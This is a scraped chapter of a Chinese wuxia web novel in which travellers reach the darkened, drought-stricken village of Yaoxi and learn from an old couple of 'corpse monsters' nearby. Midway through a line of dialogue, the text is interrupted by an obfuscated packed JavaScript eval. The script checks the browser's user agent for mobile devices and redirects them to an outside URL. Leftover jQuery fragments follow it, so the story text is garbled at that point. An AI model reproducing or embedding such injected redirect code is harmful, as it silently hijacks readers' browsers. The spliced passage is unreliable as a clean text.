122. 第一百二十二章

作品:《琴深几许

    未几,一行人来到刚才还亮着灯烛的那处地界。自然,现在也已是漆黑一片。


    秦天跳下马车,拿起火把照了照,前方不远似是有个石碑。


    他索性也不回到马车上了,步行向前走去,司无双同虞音带着车队缓缓随行。


    至一处十字交叉的路口,两侧杂草丛生,飘飘荡荡。唯余秦天火把照映处依稀瞧得见石碑上三个血红大字,遥溪村。


    秦天回首说道,“司君、虞姐姐,原来咱们到了遥溪村了。”秦天又照了照,确定自己没有看错,喜道,“这么晚了,人家自然要熄了灯烛,我就说你们疑神疑鬼罢?”


    说罢,径自向小道走入,司无双唤住他,“喂!便是要去瞧瞧,也不知还要走多远,你不回马车,难道要步行进去?”


    他头也不回,言道,“最近这些时日我躺够了,也坐够了,让我活动活动。”顿了顿又问道,“虞姐姐,我没事的,对罢?”他想听虞音确定一下,心中才有底。”


    虞音道,“应是无碍,此时确该多多走动。”


    秦天闻言大喜,“你们只管跟上我便是。”他只当司无双教他回去,是怕他挡住去路,又道,“此间小路难行,你们马匹多有不便,我等等你们!”


    司无双望向虞音无奈笑了下,催马前行。


    还当真是无论她马速多快或多慢,秦天只在她丈余之外领路。


    司无双见状,不住地催马,□□坐骑几乎在小路上奔驰起来。她每喊一声“驾”,秦天身形便也忽地向前一晃,仍是保持一丈之距,脚下如同凌空离地般,缓步向前游走,实则已是飞快。


    这等轻功,与风月天截然不同,乍一看上去,让人有种匪夷所思、超乎常理之感。实乃大梦无照将轻功所需的内力减半,自然显得游刃有余。


    这条通往遥溪村的窄路,刚刚可以容下马车的车身,那自然是行不快的。片刻过后,司无双已和马车拉开好些距离,凌芷柔三人也被挡在后面。


    虞音赶上前唤道,“姐姐,他们快跟不上了!”


    司无双轻勒缰绳,缓下马速,低声笑道,“我逗逗他,看他轻功如何。”


    说罢,又朝虞音坏笑一下。


    风月天见师父不知为何催马疾行,他也不管这许多,心知师父这般做定有她的安排,当即跃上车顶戒备。


    此刻司无双又回至队前,风月天便撤身上马,阵势随态势转变,如同行云流水。


    众人来到遥溪村,路上几阵旋风卷起残叶,再无旁物。


    “你说我们疑神疑鬼,哪里的村子会像这般?怎地家家闭户?便是一盏灯都不敢点起来。”司无双同虞音并辔缓行,对前面秦天问道。


    秦天此时也觉又些不对,嘴硬反问,“莫不是你徒弟看错了?这地方本就无人罢?”


    司无双轻笑一声,斜向东首一户人家指去,“他们正在门口瞧咱们呢。”


    虞音闻言心下一惊,此时除了车队周遭,远处尽是漆黑一片,定然是看不见的。她既敢如此笃定,那自然是听见的,但以自己现在的功力,却是甚么都察觉不到。


    秦天当然也明白这个道理,对司无双之言深信不疑,只道,


    “我去问问!”


    说罢身形一晃,已至那处人家院门前。


    众人驻马相候,未敢一拥上前,恐吓到村民。


    毕竟整个村子皆这般做,很明显是在躲避着甚么。


    秦天轻轻叩了叩院子木门,“请问有人在么?”


    房屋内传来悉悉碎碎之声,之后便再没动静。


    秦天又问,“你们怎地都不点灯啊?这里究竟是怎么一回事?”


    “他们回屋去了,别敲了,莫要吓到人家。”司无双轻唤一声,招他回来。


    又向前行了片刻,秦天又寻到一户,轻轻叩门,


    “财神爷送金送银,要金锭银锭的,便出来个人领取。”


    司无双笑问思鸿,“哥,时辰是不是快到了,快给他煎药。”


    虞音亦被他逗笑。


    半晌不见人影,只得作罢。


    众人并未离去,只聚在车前商议,凌芷柔道,“师父,咱们再行片刻,怕是要出这村子了,远近再无人家,想再打听都成问题。”


    风月天谏道,“此地不宜久留,若是寻不到人,咱们不如快些上路,行过这段赶至山中,此时大山之内反倒比这般诡异的地方要安全得多。”


    其他人一时都没了主意,司无双问虞音,“阿音,你意下如何?”


    虞音向风月天轻抬下巴,“嗯,他说得对。”心下不由想起思鸿刚才所问,若是他二人遇到此番情形,又该如何是好?


    思鸿知她心中所想,含笑望向她,虞音碰巧也斜睨他一眼,嘴角微微弯了弯。


    司无双言道,“既然都不愿开门,那咱们这便走罢!大不了今夜不睡了。”


    众人正欲离开之际,一旁院落内的房门“吱呀”开了条缝隙,内里传来二人低语之声,众人一时不解,分明都开门了,怎地还是不见人影。


    司无双笑答,“老伯,我们自然是人。”


    门内发出一声极其苍老的语调,“你们…你们是人?那怎地…还敢在外面行走?”


    司无双道,“老伯你莫怕,我们途经此地,眼下也是弄不清楚状况。你若不想听婆婆的,我们走便是了,不会为难你们。”


    那老伯颤声又问,“你还说你是人…怎地我们说甚么你都知道?”


    司无双轻笑一声,身形一晃,如离弦之箭般,已至他面前。


    “哎呀我滴妈!”屋内黑漆漆的,只听那老伯喊了声,连滚带爬地跑开。


    司无双温言道,“婆婆,我若是鬼,现在怎地不伤你们?对不对?”


    只见门后怔立一位婆婆,声音发抖,说道,“孩…孩子,我信你,你们都点着火把呢。”


    司无双眉眼笑弯,“正是!入夜前我们便觉附近古怪,实乃迫不得已才入了遥溪村,并非有意夜间赶程。”


    她这么说,是回答那逃进屋中的老伯之言,也好教他放松戒备之心。


    只因刚才面前这位婆婆本想开门迎众人进来,那老伯却怕极,只是不肯,不经意间却将房门推开条缝隙。


    静默片刻,这婆婆才将房门全部展开,借着火把,瞧见司无双样貌甜美,这才心下稍安。


    司无双朝她又是一笑,“婆婆,我们是不是走错了路,这可是去往雪诺城的方向?”


    老婆婆一时被司无双问得不知该如何回答,她一辈子不曾离开遥溪村,是以不知各处道路。


    逃走的老伯此时缓过神来,折返近前,“她…她知道甚么,若要问路,你还得问我。”


    司无双道,“我还有些朋友,可否让他们一同进来?”


    “你…你们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051329|185990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    若要进屋,先将火把熄了,再…再进来。”老伯回道。


    “将火把熄了,都进来罢!”司无双向院外吩咐道。


    这户人家院落不大,院门尚不及车厢一半宽,如何进得来?几人索性连同马匹一并留在院外,熄灭火把,有如闭着眼睛般摸了进来,虞音暗自扯着思鸿衣角。


    这老伯与婆婆招呼众人落座,仍是不肯点灯,他自称姓晏,祖上均是遥溪村村民。


    又说起去往雪诺城道路之事,晏伯回道,“你们并未走差路,这里是去雪诺城最近之地。此处大山居多,若要绕行,怕是要多走二三百里。”


    老婆婆倒来茶水招呼众人,司无双等自能听声辨位,可这婆婆虽没武功在身,在这漆黑的屋中行走也丝毫不受阻碍,显然已经习惯这等不点灯烛的生活方式。


    见到有水,司无双忽想起,来时数十里之地都未见水源,忙道,“啊,婆婆,莫要客气。我们皆有要事在身,恕我等无礼,不敢擅饮。”


    那婆婆却也不怪罪,只道,“孩子,你直言相告,我们能明白。这里如今缺水缺的厉害,我是怕你们路上走得渴了。”


    秦天心急,忙问,“此地既然无水,你们怎么不走?”


    那婆婆回到晏伯身侧,晏伯叹了声,言道,“唉…谁愿意离开自己住了一辈子的地方。”顿了顿,又道,


    “这遥溪村穷是穷了些,可日子还算过得下去。以前我们是不缺水的,有条长河便在附近不远,村民都靠它生活,只是近来这河水也干枯了。”


    众人闻言,方知白日里思鸿所言不假,可此时伸手不见五指,也不知他在何处。


    谈话间,思鸿想起该是到了煎药的时辰,便轻声寻了出去,到车厢内取药炉出来。


    这老伯不许点火把,思鸿心下想着,药炉生起火来怕是他会怪罪,我还是走远些为好。


    院外有轻雪挽风等相候,这些马匹皆具灵性,此时虽说黑漆漆的,他倒也不怕。


    便装好药材,加入清水,往远处走了走,连忙煎起药来。


    火光映出一方天地,他更不怕了,极是安生,没一会便飘出药香来。


    屋中众人说起这左近的怪异情行,究竟是何缘故,晏伯说道,


    “你们莫要多问,今夜在我这里歇息一宿,明日天一亮,就赶紧上路。朝北行出五十里外,便可不必招惹此处祸端。”


    司无双笑道,“晏伯伯,别说您二老肯收留我们过夜,便是教我们知道这遥溪村有难,我们也是要管一管的。我等替天行道,哪里百姓生活困苦,我们便到哪里。”顿了顿,又道,


    “大伙意下如何?不解决这里的事情,咱们便是到了雪诺城,又能如何?”


    众人深知她言下之意,她虽未说出救闵锋的事情,可即便救到人,山庄的宗旨却仍是救济黎民为主,闵锋定也不愿因自己而耽搁到解决百姓困境。


    可晏伯却仍推三阻四不肯说出,晏婆婆见状言道,“这些孩子来得奇怪,许是上天安排下来的菩萨!你就说了罢,或许他们真能帮到咱们。”


    司无双笑道,“菩萨不敢当,但我能保证,只要您二老肯说明,我便能帮到遥溪村。”


    静默半晌,晏伯言道,“我讲出来,你们娃子可别害怕!”众人一阵低笑,只听晏伯续道,“这远近百余里,在闹尸怪!”


    司无双闻言一怔,“那…那是甚么?”